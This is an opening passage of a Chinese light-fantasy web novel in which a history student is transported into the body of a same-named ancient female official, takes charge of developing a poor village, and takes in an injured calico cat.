《生财有喵》
1. 和我同名的女官?
已是入秋了。
余玥玺站定在银杏树下,她抬头透过叶子的缝隙望天,秋季的天空澄澈明净,如水洗过的一般,与金黄的银杏树叶映衬得相得益彰。
多美的景色,她感叹,便没忍住掏出手机,对着天空拍了一张照片。
“喵呜。”自草丛中窜出一只三花猫,那猫见了她撒娇似的喵喵叫,竖着尾巴颠颠地跑过来,不住地用脑袋亲昵地蹭着余玥玺的裤脚。
“哎呀,咪咪你好可爱。”见了猫咪,声音自动变夹,她蹲下身揉了揉猫的脑袋,猫也很乖巧地把脑袋放在她的手里蹭。
一阵微风拂过,银杏树叶被吹落几片,四周一片静寂。
余玥玺像是突然想起什么一般,她重新摁亮手机,望了一眼时间后脸色微变。糟糕,沾花惹草到忘记时间了。
她的资料!她的论文!资料一字未看,论文更是一字未动。
丢下可亲的猫咪,余玥玺便拔腿向图书馆跑去,一边跑还一边在心里嘀咕老教授的不近人情。
论文倒没什么难度,主题是“选定一个历史人物并讲述其对当地做出了那些经济方面的贡献”,唯二的难点是不出名的历史人物以及不得与他人重复。
她经济学院的闺蜜对她也表示无能为力:“抱歉啦,这方面我更多的是知道外国人做了什么。”
万事开头难,这话真没错,余玥玺论文的进展还就非常要命地停在了第一步——选定一个历史人物。
于是,她只好将自己投入到海量的历史文献中。距离交稿日期已不足一个月,余玥玺甚至想病急乱投医——写一个虚拟的历史人物,然后像写小说那些为其编造虚假的生平事迹。
作假的空间还是比较大的,不出名的历史人物一抓一大把,老教授未必就能认出来,要是问起,一口咬定存在就行了。
但是,余玥玺又重重叹气,出于历史系学生对历史的尊重,这招不到万不得已之时是绝不会用的。
而今日,则是她给自己的最后期限。
若是今日还不能选出一个合适的历史人物,那么她只好当一回历史的罪人改写历史了。
走进图书馆,她轻车熟路来到历史书籍馆藏处,眼神与手指一并拂过书架的书籍,大部分已经读过了。少量未读过的,便是她今日的目标。
“选一些战乱时期的小国如何呢?”她自言自语。
“咦?这是什么?”余玥玺的手指在一本没有编码的书脊处停下,她在脑海中搜索了一番,很确定她此前并未读过此书,甚至都未曾见过。
“是哪个缺德的不把书放回原位啊?”余玥玺抱怨道,一边取下这本书一边开始不自觉翻阅,“真是的,连编码都给撕了吗,到底要放到哪个区啊。”
这本书很小很薄,封面上绘着一个官员形象的女子,面容不真切,除此以外便是一个和封面色彩格格不入的三花猫图案,模样很像是街边店铺的招财猫,里面的内容也像是历史人物传记。
余玥玺本是随手一翻,但主角的名字却让她愣住了。
“余玥溪,本命余玥玺,因避讳而更名为余玥溪?”余玥玺咧嘴一笑,居然和她同名?她来了兴致,捧着这本书就往休息区去了。
这本莫名其妙出现的书宛如天降神兵,救了无头苍蝇一般的余玥玺。通过简单地翻阅,她得知了这位了不起的女官的生平事迹。
因博学多才而受到皇帝的赏识,本可官居高位,却在仕途最顺的时候毅然决然前往某贫困村庄,兢兢业业治理村务,最终带领此村变成了全国最富有的村庄,富饶程度甚至超过了皇都周边城市。
但这位女官最后的结局书中却并未描述清楚,暂且就当她升官加爵安然渡过此生了吧。
“了不得啊,了不得。”余玥玺一边感叹,一边勤勤恳恳做着笔记。
好了,论文的大致轮廓余玥玺已在脑海里有了大致方向。不出名的历史人物有了,经济方面的贡献也有了。
只是,经济方面具体做了哪些贡献呢?余玥玺皱眉开始咬笔头。
联想到封面上的三花猫,一个荒谬的想法快速闪过。
不会是把招财猫做出来了吧?这玩意既可爱又有好寓意。
只是想法刚冒头,就被她否决了。
“哈哈,怎么可能嘛。古人哪里知道招财猫是个什么东西?”她笑自己太过异想天开。
余玥玺趴在书桌上伸懒腰,又随手翻了几页书。
“不过这个想法还是挺天才的,如果我是她的话……”余玥玺莫名嘿嘿一笑,“名字都一样,万一我真是她呢?”
“我就是余玥玺。”她喃喃自语。
而后眼前闪过刺眼白光,耳边重复着不甚清晰的嗡鸣声,辨认了好久,她才听清这声音说了什么。
那声音说:“是的,你是余玥玺。”
余玥玺不禁打了个寒颤,她不可思议地揉了揉自己的耳朵,那声音越来越清晰。
“你是余玥玺。”
似乎不是幻觉。
自己昨晚明明睡得很好啊。
紧接着,那书页竟自己翻动,翻到了扉页处——那女官的插画。余玥玺看着看着就有些头晕目眩,不由自主将手放在了上面。
手掌覆盖的地方传来不可抗拒的吸力,无法反抗的她就这么感受着自己被吸了进去。
糟糕,不会被监控拍下来吧?一个大活人凭空消失,怕不是马上就能荣登校刊十大奇人榜首了。
眼前一片漆黑,手脚也轻飘飘的,意识也不清晰,像魂在飘。
还没来得及做其他想法,五感一点一点的回来了。
等脑子重新正常运转后,余玥玺才发现自己已身处一个完全陌生的地方了。
身上的衣服繁重,手里捧着一个长长的玉质的物件,而周围也似乎都是人。
她的大脑飞速运转,一下便反应过来这是玉笏了。玉笏是个什么东西呢?自然是古代官员上朝用的东西了,作用是……
是什么来着?
但眼下的处境似乎已经由不得她多想了,因为她突然被人叫住了。
“余玥溪,你说的可是真的?”
谁?余玥溪?
余玥玺一个激灵抬起头来,正巧对上高堂之上身着明黄色龙袍的那人。
以她二十年来浅薄的认知经验来说,她貌似穿越了。
好像一切都对起来了。
她现在就是余玥溪本人了,多么巧合,多么完美。
多么离谱,多么随便。
高堂上那人还在等着她的回复,见她久久不吭声,便锁紧了眉,装作宽慰道:“好了,我也知余爱卿是一时糊涂,口不择言,不情愿便罢了。”
回复?回复什么?余玥玺傻眼。
莫名其妙来到这个地方,莫名其妙穿到了这个和她同名的女子身上,莫名其妙被问了一个不知道答案的问题。
若是在课堂上,她大可大大方方承认自己不会,教授又不能拿她怎么样。
但是,这是在朝堂上,话是可以随便说的吗?
余玥玺的大脑再次飞速运转,目前的情况,应该是这个“余玥溪”此前不久才答应了这个皇帝的一个提议,现在是二次确认。
不过口不择言,不情愿又是怎么回事?
还没待皇帝做出反应,便有人开始尖声尖气嘲讽了:“余大人还真是年轻气盛啊,皇
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上的提议也敢随随便便反驳,你长了几个脑袋啊?”
哈?怎么是自己反驳的?余玥玺顿觉不妙,冷汗瞬间冒了出来。
拜托了,她只是个二十出头每天混吃等死的窝囊大学生而已,哪里面对得了这种严峻的情况?简直是把人架在火上烤!
假如她答应了,那便是在朝堂之上公然顶撞天子,死罪可免:如果她拒绝了,那便是先顶撞了天子后又犯了欺君之罪,活罪……难逃。
还真是“进亦忧退亦忧”啊。
余玥玺站在那里,看似一动不动,面色深沉似是高深莫测;实则脑内思绪万千,腿肚子也在发抖了。
怎么办怎么办,自己到底该怎么办?
那本小册子她也没读多少,对这位女官的初印象便是一个有言直谏,天不怕地不怕的豪迈奇女子。好了,就照着这个演吧!
见她依旧不语,皇帝又耐着性子问了一遍:“所以你到底是愿不愿意辞去现有官职去那个村子实现你的什么远大抱负理想啊?”
余玥玺忽然福至心灵,眼下的这个场景,大概对应的就是那个名为余玥溪的女官毅然决然在朝堂之上反驳皇帝放弃贫穷地区的提议,主动请缨去烂泥村任职这一事件了。
历史的轨迹不可改变,她不知自己的一个小小错误举动会带来什么,她不敢赌,害怕变成那只引起飓风的蝴蝶,于是她平静道:“是的,我没有任何意见。”
“这是我深思熟虑后做出的回应。我还是认为,不管什么地方,都不该被放弃。”
“大人们离平民们久了,便忘了自己也是从平民中来的,没有他们的支撑,整个社会不会运转得如此良好。”
“我读书考取功名便是为了天下百姓的,若是我对他们的苦难无动于衷的话。”余玥玺把背一挺直,声音铿锵,“那我这书算是念到狗肚子里去了。”
四周没有人说话,就连高堂之上的天子都默不作声。
余玥玺此前一顿噼里啪啦的激昂致辞极大地满足了她的表演欲,实则心里慌得不行。
应该不会演过头了吧?
良久,皇帝才悠悠开口:“既是如此,那我也不好再挽留了。余爱卿当真是胆识过人啊,有此等之奇人也是我朝的荣幸了,朕衷心希望你能在那里也做出一番贡献来。”
“是,必不会辜负您的厚爱。”
“若无其他事,那便退朝。”皇帝摆了摆手,今日发生的事已经够多了,他有些倦了。
其余臣子三三两两地离开了,只剩余玥玺站在那里像是陷入了某种沉思的状态。
“嘿,余大人,您还真要去那个穷山沟沟啊?”是先前那个嘲讽她长了几个脑袋的人,他抱着胳膊站在余玥玺身侧,语气听起来居然有些同情。
余玥玺对他并无好感,翻了一个轻飘飘的白眼:“哼,你谁啊?你管的着我吗?”
“咳,余大人您真会开玩笑。您怎么能因为我的小小一句无心之言就记恨上我呢?怎么说,咱都当了好几年同窗不是?”他看起来似乎有些尴尬。
“呃。”余玥玺装模作样回想了一会,此人她真的一点不认识,想来也不是什么重要的角色,于是她摇头,“我记恨你干嘛,我是真的不认识你。”
“是是是,余大人功绩斐然,不认得我等小角色也是正常。那我再介绍一下我自己,我名郑文竹。”那人声音急切。
郑文竹话音刚落,余玥玺就翩然转身离去,这是谁重要吗?当然不重要!
她的当务之急便是代替好余玥溪完成她的职责,只是有一个要命的事情,她好像无法将这个朝代与历史上任何一个朝代对应起来。
希望影响不大,她暗暗祈祷。
2. 开卷考试?手到擒来!
既然要去到一个完全陌生的地方,那必然是要做好充足的准备的。余玥玺花了两天的时间思索课堂上所学的内容,在农村地区的变革有那些措施来着?
即使她依旧无法得知目前所处的朝代究竟是哪个朝代,不过治理村子这件事,理论大抵都是可通的。大不了,就当一个无法存档的游戏玩了呗。
可是——要开始总得有一个良好的根基,她头一次开始后悔没好好学习,各种各样的实实在在的知识点像河里的鱼,看见它却抓不到它。
躺了两天后,她走出了房门,决定从头开始学习,她要化理论为实践。
在市集里买了大量的实用型书籍,挑选种子、育苗、牲畜养殖、土质水质检测……总之应有尽有。
一个星期后,她离开了,正式踏上了任职的路。
前路茫然,余玥玺不知该如何踏出第一步。
不过她向来心态很好,走一步算一步就完事了,区区治理一个村子,应该……肯定不在话下!
一晃眼,余玥玺上任的旅程已过了大半。
小小的轿子颠颠簸簸地行驶着,体验感远比不上现代社会的高铁火车,摇摇晃晃得令人发晕,这让她想起了婴儿的小摇篮,摇啊摇的就睡着了。
余玥玺百无聊赖地打了个哈欠,此前已经在水上过了大半个月,那时一睁眼船的四周都是水,自己的四周都是人。环境也是乱哄哄脏兮兮的,有时晚上都难以入眠,实在不算什么良好的出行体验,不过好歹无聊时还能抓个人过来一同聊聊天消磨时光。
现在呢,舒服程度稍微有所提升,可是没人和她说话,马夫大概是对这些官员心存敬畏,整日只勤勤恳恳驱使马车,一句话也不说。若不是有时能听见他轻声呵斥马的声音,她都要怀疑马夫是个哑巴了。
也罢也罢,就算聊起来也不知谈什么话题,于是她便自己和自己对话,颅内交流,有时想着想着就会无意识入睡。
人都要睡傻了。
被颠得实在有些难受,于是她掀开轿帘向外望去,人烟稀少,满眼的郁郁葱葱,各式树木长势良好,高低错落有致,养眼无比。此等场景现在怕不是只能在自然保护区看见了,余玥玺感慨了下经济与环境还是很难兼得的。
马车的平稳程度依旧糟糕,愈行驶着这路就愈颠簸,坐在里面的她只好双手紧紧握着把手,好不让自己狼狈地滚来滚去。
外面的马夫终于说话了:“余大人,真对不住,这路还没修到这里,您在里面当心些?”
她一步一步小心挪到门口,掀开了帘子,探出脑袋,满脸严肃:“离那个村子还有多久?”
“已经不远了,大约一刻钟就能到了。”马夫答道。
“嗯,好的,辛苦了。”她的脑袋又缩了回去,并长舒了一口气。
终于要结束了。
一路的艰辛在此时终于画上一个句号,新的篇章正在眼前徐徐展开。
当脚踏上坚实的土地时,余玥玺的心中再次升起了一种不确定感。
前路真的会很艰难吗?自己应该怎么做呢?
总之,一定要扮演好“余玥溪”这个角色。
抵达村口后,她便开始打量。
村口的大门形同摆设,磨损程度已经相当深的大石头上书三个大字“烂泥村”。
字体本身地艳红色已褪去,看起来模糊不清,俨然一副饱经风霜的模样。
上任的第一步,要不要给这个村子改个名字呢?烂泥村这名一听就不响亮,改个好名字图个好彩头。还有,把村口这块地也拾掇拾掇。现在看起来,完全就是个没人住的样子嘛。还未见到村里人,余玥玺便已经开始畅想起来了。
她从从容容转过身对着后面的车队说:“把书籍和其他东西都搬出来吧,然后再检查一下有没有什么损毁。等一切没有没问题后,你们便可离开了。”
“啊,村口有人!余大人——余大人——是不是余大人来了啊?”风中传来飘飘渺渺的呼喊声。
不过,余大人?是在喊自己?
“诶?”居然有人迎接吗?这倒是令她相当意外的,这个消息居然可以传进来?明明是一个如此偏僻的地区。
人群的速度并没有很快,她抬眼望去,本来还算紧密的人群逐渐疏散开来,一群小孩子一马当先飞奔而来,却在离她大约十米的位置停下了,然后犹犹豫豫地回头张望自己的家人。
既然他们不上前,那就只有她来先问好了。
她上前几步微微俯身,带着亲切的笑容将这群小孩子看了个遍,既有男孩也有女孩,数量都差不多,看起来都灰扑扑的,衬得格外眼睛有神。
他们既好奇又有些害怕地打量着这个光鲜亮丽的年轻女子。
“不要害怕哦,我是来帮助你们的。”余玥玺轻声细语道,脸上的笑容也愈加亲切温和了。
和小孩子打交道,对她来说简直易如反掌!这可是她多年以来和幼儿园小豆丁们交流积累下来的宝贵经验!
小孩子们在这方面的感知还是相当敏锐的,察觉眼前人没有丝毫恶意后,他们也纷纷露出了腼腆的笑容开始问好。
此时大部队才姗姗来迟,一见她此起彼伏的“余大人好”便传开来了。
“余大人啊,您可真是个大善人啊,没想到咱这烂泥村也能有朝廷大官员来啊。”一个老年女人走到最前悲悲戚戚道,“我们这一村的孤儿寡母啊,活下去可太难了。”
说着说着,她居然哭了起来,哭着哭着便要跪下去磕头。
这可使不得!她长这么大还从来没看见过别人给自己下跪的,另外她从小接受的教育也让她无法接受这一点。
于是余玥玺慌乱俯身拉住了女人,摇头:“这礼太大了,我受不住,您还是快快起来吧。”
“大家以平常心对我就好,我名余玥玺——溪,大家可以叫我小余,从今往后我便也是烂泥村的一员啦,我们一起努力吧,把烂泥村做大做强,成为这附近最富有的村子!大家有没有信心!”她使出了十足的精神气,声音热情洋溢。
“这能行吗?”
“余大人这么年轻,有经验吗?”
余玥玺本以为会听见欢呼声,退而求其次应和声也该有吧?但她听见的,却是犹豫不决的质疑声困惑声。
这时她才注意到人群的组成,老年的、中年的、青年的以及少年的女子们或失落或好奇地看着她,中间掺杂着十来个孩童,青壮年男子居然少得可怜。
余玥玺有些发蒙,不解发问:“这,青壮年……劳动力呢?”
“被抓去当兵了,战争结束了也没见他们回来,不知道是死了还是不愿意回来了。”一个个头很高,但面容仍带着些稚气的少年回答,“快十年了。”
“一个都没回来吗?”余玥玺似是不相信这一点,紧着追问。
“我在战场上受了伤,我回来了。”一个拄着拐杖的中年男人语调沉重,“我放心不下我的老婆和孩子们,想着不管怎样我都要回家的。但有些人受了赏赐,便不愿回来了。说到底,还是因为村子生存条件太艰难了啊。”
“那也,那也不能就这么抛弃了自己的家乡和亲人啊。”余玥玺只觉自己的世界观陡然崩塌,真的会有人舍弃自己的家庭吗?
“脚长在他们身上,他们去哪我们怎么管得了呢?”有女人叹气着说。
“说到底还是村子太穷了,等到我们这群老太太都死完了,我也想好了,说什么都要让年轻人出去讨生活,怎么也不会穷过这里吧。”先前那个老太太正色道。
余玥玺有些傻眼,自己来的目的不就是为了发展这里的吗?怎么他们还就这么直接把退路给想好了?不行,这样不行。
再说了,她还得想办法离开这里呢。
以她多年以来看穿越类小说的经验,很可能她做好了余玥溪该做的事情以后就可以回到现实世界了。
所以她万万不可让这一村子的人自生自灭。
“朝廷都还没有放
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弃你们呐,你们也不能自己放弃自己啊!你们看,我不就是来了吗。有我,你们就放心吧!”余玥玺有些急切,声音铿锵,“我一定会想到办法发展烂泥村的,只是需要大家的帮助。希望大家千万不要放弃才是啊!”
人群中有一部分内心有些摇摆了,大部分是年轻人。
“支持余大人,如果咱们烂泥村能成为全国第一富村就好啦,哈哈!”一个看起来就很活泼的少女欢快地举起右手挥了挥。
“嘿嘿,小桃儿又在异想天开了。”一个似乎是她的同伴的女孩,没有恶意地嗤嗤笑出了声,引得活泼少女不满地鼓起了腮帮子。
“嗯,相信我吧,我一定会带领大家让生活慢慢变好的,大家愿意相信我吗?”明明自己是个能言善辩之人,但此刻她却觉得自己嘴笨了起来。
不过花言巧语总归是无用的,要让他们彻底相信,还是要拿出真本事来。
“都还围着这里做什么呀,快让余大人进村来啊。”还是那个老太太开了口,她似乎在村民中极有威望,“余大人从皇城那边来,路途遥远,一定不少受累吧?快快进来歇息,我们早就给您准备好住所了。”
“不受累不受累!”余玥玺拼命摇头,“我应该的!还有,也别叫我余大人了,听着怪生疏的,叫我小余就好。还有,我该怎么称呼您呢?”
“我姓韩,叫我韩大姨就行,我也没个正经名字。”
余玥玺招呼着随从将一箱箱书籍搬起,介绍着说:“这些都是市面上能买到的有关生活中方方面面的说明书,比如关于种子的挑选、土地的种植说明的。看哦,还有茶叶、染布、陶瓷,多种多样的呢!总有一种可能适合村子发展的!”
由那个高个少年带领前行,余玥玺站定在一栋不算大但也不小的瓦房面前,四边的泥巴混合着杂草筑起的矮墙,算是勉强围起了一个不大的小院落,地面看起来打扫过,干干净净一尘不染。
窗户下的土地明显被翻新过,几株柔弱的绿色纤细得惹人怜爱。
“这个以后会开花的,很香也很好看!”桃儿又欢欢喜喜地开了口,“是我们女孩在山上挖来的。”
“谢谢你们呀,有心了。”余玥玺笑着点了点头,然后走进了这个“院子”。身后跟着一串好奇心旺盛的村民。
走进房间后,她才发现里面居然也布置得尽善尽美,虽然只简简单单一张小床,一个木质的柜子以及表面斑斑驳驳的大书桌以外就再也没有什么大物件了,远比不上她在现代社会的温馨小居室,甚至不如她的六人寝室。
但好歹房子空间不小,也不能要求过多了,她在来之前做过的最坏的打算是住在柴房来这点。
“还挺像我在学堂读书那会那会的大寝室呢。”她打了个哈哈。
“怎么了,您不满意吗?”高个少年语气紧张。
余玥玺摇头:“不,挺不错的,你们别多想。”
劝走了村民后,她便开始整理自己的随身行李,衣物一类的物件倒是都整理完全了,只有那一堆堆的书籍是完全没有地方放的。它们只能乱糟糟堆在地上,现在再来看这个小房间的话,倒像是一个刚刚被洗劫一空只剩无用的书的文人居室了。
要是有一个更大的书柜就更好了,如果向村民们提议的话,他们能同意吗?或者说,他们有条件吗?
将行李一股脑堆在地上后,余玥玺惊讶地发现一本薄薄的小册子正安静地躺在书箱的最深处。
“这是?”她屏住呼吸,小心翼翼将它拿了起来,翻了几页后,证实了她的猜想。
不错,正是那本她在图书馆翻阅的小册子,也是害她莫名其妙来到这个时代的头号罪魁祸首。
不过现在却是一本能拯救她于水火之中的神书了。
“这不就是一场再简单不过的开卷考试了吗?只要我完完全全按照上面来,就再也不用担心改写历史啦!”余玥玺不禁喜上眉梢,抱着书就狠狠亲了一口。
回家的日子,指日可待!
3. 此猫不善,丢了吧
高兴归高兴,事情还得办,余玥玺看着那一堆书就有些发愁。撸起袖子蹲在地上,翻着杂七杂八的书籍——然后尽力归类好。
“这些是有关初级农事的,这些是有关特色农业的。诶,怎么还有商业发展的?”她手上动作不停,嘴也没闲着。
在书堆里埋头苦干,连身边来了个人都不知道。
“嘿,小余……姐姐?要来我家吃饭吗?”
余玥玺猛然从书堆里探出脑袋,恰巧对上那个笑眯眯的女孩子的脸,她在脑内搜索一番,试探性地开口问:“你是,那个小桃儿?”
“哇!是的没错!你是怎么知道的呀?”桃儿睁大眼睛,相当吃惊地问。
“哼哼,你下午的时候是不是说了希望村子变成全国第一富村?”余玥玺自豪道,“我记住你了,我的记性可是很好的!”
“你来是有什么事吗?”她将最后一摞书对齐,站起身伸了个懒腰。
“是这样的,村里人都很高兴您能来我们这,所以呢以我们家为代表,决定请您吃一顿晚餐。”桃儿双手背后,脸上带着甜丝丝的笑容。
“那不错,我就恭敬不如从命啦。”余玥玺点头,满口答应。
不是坏事,总得和这些村民处理好关系的,这样才好实施一些措施下去。这不就是“深入到人民群众中去”吗?她喜滋滋地想。
月亮悄悄升上了天空,洒下一片淡淡的柔和银光,村子的夜路并不平稳,余玥玺深一脚浅一脚艰难行走,而走惯了此路的桃儿却是丝毫不受影响的,她步履如风,一边走着还一边继续她讲村里的事情。
“哈哈,余姐姐,你知道我们村里最多的是什么吗?是烂泥!本来土地质量应该还是不错的,但是啊,下雨又频繁,排水也排不掉,久而久之,就是一堆烂泥了,种啥都不合适。”
“我一直担心大家会一个一个离开,虽然村子是不太好吧,但我毕竟从小在这里长大的,总割舍不下去的。再说了,外面也不见得就比村子好。”
余玥玺一边要注意脚下,一边要听桃儿讲了什么,一心无法二用,终于在越来越急的步伐下一脚踩歪,仄倒在地上。还顺便连带着正讲在兴头上的桃儿也一并摔倒了,摔倒的桃儿先是疑惑地“诶”了一声,然后笑出声来。
“哎呀,余姐姐不习惯走这种路吧,有没有摔到哪里呀?”桃儿一把拉起她,关切询问但掩饰不住笑意。
尽管余玥玺没听出任何嘲笑的成分,但她还是感觉无比尴尬:“没事没事,我们继续走吧。”
“看,前面就是啦!”桃儿遥遥指了一个方向,一栋小房子,点着豆一般的灯火。
走近后余玥玺才发现那个高个少年站在门口,见两人来了,挥了挥手笑道:“你们终于回来了,再不来,我可要找你们去了。”
“净会说些漂亮话,要去找我们你早就去啦!”桃儿回了一嘴。
坐在饭桌上的余玥玺略显拘谨,她看着桌上的三菜一汤陷入沉思。菜是没有丝毫荤腥在里面的,汤也能清晰地照出房梁的景象,米饭也是糙糙的,干瘪没有一点光泽。
这里的村民,生活真的是相当艰难啊。也不知这三菜一汤是他们平时多久的口粮,竟为了招待自己一下子全拿出来了。
这户人家一共四口人,组成看起来像是奶奶和母亲带着兄妹俩。生活一定很不易吧……
桃儿见余玥玺看着饭发呆,语气有些紧张:“余姐姐,是饭菜不合胃口吗?抱歉啦,我们这里只有这些。”
“啊?没有没有!”余玥玺赶紧扒拉了一大口饭,又夹了一筷头青菜,“好吃,很好吃啊。”
于是一家四口老小才齐齐松了一口气。
也许是第一次见面的缘故,彼此之间都生疏的很,余玥玺曾多次试图挑起话题,都已失败而告终。
可惜了,她本来还想着通过这一顿饭的时间从这户人家的口中得知更多的有关烂泥村的消息呢。
吃过饭后,也没有理由留在这里了,于是余玥玺起身表示要离开了,不过考虑到自己这对在黑夜中宛如瞎了一般的眼睛,她犹豫着要怎样才能安全回去。
“我送送您吧。”高个子少年站起身来,在门口提了一盏灯出来。
走在坑坑洼洼的路上,他一直沉默不语,倒是余玥玺好奇询问:“你叫什么名字啊?”
“叫我柳儿就好。”他老老实实回答。
“柳儿?那你和桃儿是什么关系?”余玥玺又问。
“以前是邻居关系,后来我被桃儿家收养了,您就当我们是普通兄妹就好。”柳儿继续回答,声音淡淡,听不出情绪。
余玥玺猜想这其中一定是发生了些什么,但出于一些微妙的考虑,她决定不多问了,有时间找桃儿问问可能会更好。
柳儿和桃儿实在是两模两样的,一个活泼一个沉默。除她先前问的话,柳儿这一路竟是一句话不说。
“好啦,你回去也要注意安全哦!”站在自己新住所的门口,余玥玺向柳儿挥了挥手告别。
“嗯,您不用担心,夜路我是走惯的了。”柳儿一点没停留,转身便离去了。
关上门,点起灯,坐在桌前的椅子里,最后长舒一口气。
薄薄的小册子放在桌上最显眼的地方,余玥玺随手拿起来翻了几页,想要更多地了解这位名为余玥溪亦或是余玥玺的女官。
她这时候拿出十足的精力来了,比起以往的期末周还要认真。
“嘶——喵嗷!”门外响起了像是猫的惨嚎声。
余玥玺流畅的思路突然被打断,她抬眼瞟了下窗外。但窗外黑洞洞一片,什么都看不清,她便暂且打消了出去看看的念头。
“呜噜呜噜——呼呜”又是一片打得不可开交的声音,中间掺杂着猫愤怒低吼的声音。
“呃。”余玥玺读不下去了,想要看猫的念头疯狂增生。
听起来像是猫和一个什么别的东西在打架,猫有落下风的趋势,自己绝对不是要看猫,而是要去救猫。对,没错。
于是她轻手轻脚打开了大门,为了防身,她还特地拿了一把在墙角不知放置了有多久的锄头。
屋外一片漆黑,她自然是什么都看不见的,月光朦朦胧胧,完全起不到一点照明的作用。在黑夜中半瞎的她只能看见两团毛茸茸的东西在缠斗。
“呜喵。”悲悲切切的猫叫声,透露出十足的委屈。
本来还处在犹豫之中的余玥玺立刻上头了,嘴里“哇呀呀”怪叫着给自己壮胆就跑上前了。哦对了,还有那个比她的声音更吓人的锄头在挥舞。
打斗的声音有所减弱,余玥玺硬着头皮上前,她也不确定那个正在撕咬猫的生物是什么。有可能是比较大的猫,有可能是狗,甚至有可能是狐狸一类的猛兽。
但既然都上前去了,岂有退后之理?刚舞了一下锄头,还未触及到那团毛茸茸的生物,便有一个黑影猛然窜回去黑暗中了。只剩那个似猫的生物卧在地上一动不动。
救猫要紧,余玥玺没多想就小心地提起了那只猫,走回到房间去了。猫在手中显得异常乖巧,一动不动。
将书桌腾出一片空地来,余玥玺仔仔细细借着灯光端详着乱糟糟毛线团一般的猫儿。
小东西体型不大,脸埋在肚皮下,爪子不自然地平铺在桌上,尾巴沿着身侧绕了半圈。背部的毛凌乱无比,隐约可见伤口。毛色混杂,大体上可见黑色白
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色和橘色。
呵,还是个三花猫呢。
余玥玺激动无比,那双手直接摸上了猫的脑袋。猫毛凉爽顺滑,略有蓬松感,柔软又不扎手。便没忍住又摸了好几把。
“呼噜噜。”摸着摸着她就听见了低沉的呼噜声,深谙猫行为学的她赶紧松开了手,再摸下去怕不是要被挠了。
受了伤的猫睁开了眼睛,眼睛是幽幽的绿色,瞳孔在灯光的照射下形成一条细细的竖线,再搭配上头部脸部凌乱的毛,看起来居然有几分唬人的意味了。
“你在哪打架不好,非得来我这打”余玥玺念念叨叨,“幸亏遇到了我啊,不然你是死是活都说不定了。”
猫的身子动了一下,微微仰头用那对翠绿猫眼盯着这个多嘴的人,尾巴尖扭动着轻轻拍打着地面,正是不耐烦的表现。
“哼,你还生气起来了?脾气那么大做什么?”余玥玺壮着胆子用食指关节轻敲了下猫的脑壳。
猫来了劲,竟“噌”一下直起身子来了,张着嘴就是一连串余玥玺听不懂的猫语,但没喵多久,就像融化了的雪人一般重新趴了下去。
虽然余玥玺看着猫骂骂咧咧后泄了气,内心无语又有些好笑。
“都什么时候了,还在这骂人,脑袋小小智慧少少啊。”余玥玺叉腰做教训状,“不许对你的救命恩人无理!”说完她才觉得自己好笑,和猫说什么道理,它能听懂吗?
但结果——猫的眼神柔和起来了,用力夹出一声细细的“喵”,垂下了脑袋,背部有炸毛趋势的毛也如同谢了的花一般耷拉了下去,只剩尾巴尖还在有一下没一下地拍打着桌面。
尽管这只猫此时看起来已经没那么大的攻击性了,但她依旧不敢轻举妄动。
众所周知,猫这种生物是有些神经质在身上的。不高兴了挠人,高兴了咬人,有时无缘无故也会对着空气张牙舞爪。
但放着它不管也不算个事,看起来伤得不轻。
“等会别挠我好吗?我只是为你稍微清理一下伤口,绝对不是害你。”余玥玺看着猫,语气像是在和小孩子说话。
要是真被挠了也没办法。
余玥玺端来一盆水,从包袱里取出一方手帕,沾了水后轻轻擦拭着猫背部的伤口。猫的背毛凌乱不堪,最深的伤口在脖颈处,缓缓渗着血,将下巴处本来雪白的毛染得一塌糊涂。
她能感觉到猫在瑟瑟发抖,大概是疼的,于是她的语气愈加柔和:“咪咪不怕哦,马上就——”
话未说完,手中的猫就如同离弦的箭一般窜到床底去了,爪子踩到水一滑,还顺便一脚踢翻了水盆,桌子上地上余玥玺的衣服上便全是水了。
而肇事猫蹲在床底一动不动,任凭余玥玺如何大呼小叫威逼利诱连哄带骗都不出来。
哦不!余玥玺抓狂,她焦躁地在屋里走来走去,她有一种冲动,一种把这只猫丢到外面的冲动。
猫缩在床和墙角的夹缝里,余玥玺崩溃地看着本来还算干净的猫身上沾满了厚厚一层灰尘与蜘蛛网,花猫变成了灰猫。
余玥玺给自己顺了顺气,避免自己被一只猫起气到,简单洗漱完毕后躺在床上,关了灯,就当那只猫不存在。
前半夜尚且安稳,后半夜猫跳到了书堆里,哗啦啦的翻书声吵醒了酣睡中的余玥玺,她睁开惺忪睡眼,看见暗夜里绿得发亮一对猫眼。
自己一定是在做梦,一定是在做梦……她又睡了过去。
第二日清晨时,她崩溃地发现昨日整理好的书堆再一次被打乱了,当事猫此刻却安安稳稳睡在书堆的正中间。
这家伙倒会享受!
丢出去,丢出去!谁爱养谁养去吧!余玥玺恨恨地想。
4. 好险,差点就没人要了
余玥玺顶着一头乱发,怒气冲冲地看着悠然自得的三花猫。那猫见她醒了,从书堆中优雅起身,爪子伸向前方,压低背部伸了个懒腰。
“喵!”猫眯起眼睛兴冲冲道了声早,还在她的面前磨了磨爪子以示友好。
如果被充当猫抓板的不是那堆书的话,余玥玺觉得自己应该还是很感动的。
“你……”余玥玺呼了一口气,她看着猫,猫也看着她,猫发出细细的喵叫声。
她就忽然泄了气。
猫猫嘛,怎么都可以被原谅的!
于是她又高兴起来了:“就在这里好好待着好不好呀?我会好好养你的!”言罢她哼着歌离去了。
打开大门,大打了一个哈欠后深吸一口清晨清新的空气,太阳此刻还并不强烈,阳光湿漉漉的,温温和和令人身心舒畅。
她站在门口伸懒腰,哼着歌打水去洗漱,洗漱剩下的水她弯着腰去浇窗台下的花,翠绿色的叶片上坠着水珠,“吧嗒”一下又渗入泥土之中。
“快快开花吧?”她笑眯眯对着连个花苞都还没没打的一丛叶子说。
门口不时有人经过,她就一个个地打招呼:“嘿,早呀!吃了吗?”
经过的人也同样热情洋溢地回应她。
既来之则安之嘛,来都来了,可不得做点事再走?这里总算是没有唠叨的老教授以及恼人的论文了。
风景秀丽,村民淳朴,猫儿可爱。
多么美妙的生活!
“小余啊,早上还没吃早饭吧!来,大姨给你送了点粥来,配着腌菜吃!”韩大姨拄着拐杖迈着小步笑呵呵站在大门口。
“哎呀,您真是客气。”余玥玺几步跑到大门口,双手恭敬接过小竹篮,“我吃完了洗干净再给您送过去!”
韩大姨看着她问:“小余啊,你真的是朝廷来的官员吗?”
“是……是啊,您怎么会突然问这个?”余玥玺双手一抖,差点没把篮子掀翻。
不对,自己紧张什么?自己明明就是啊!
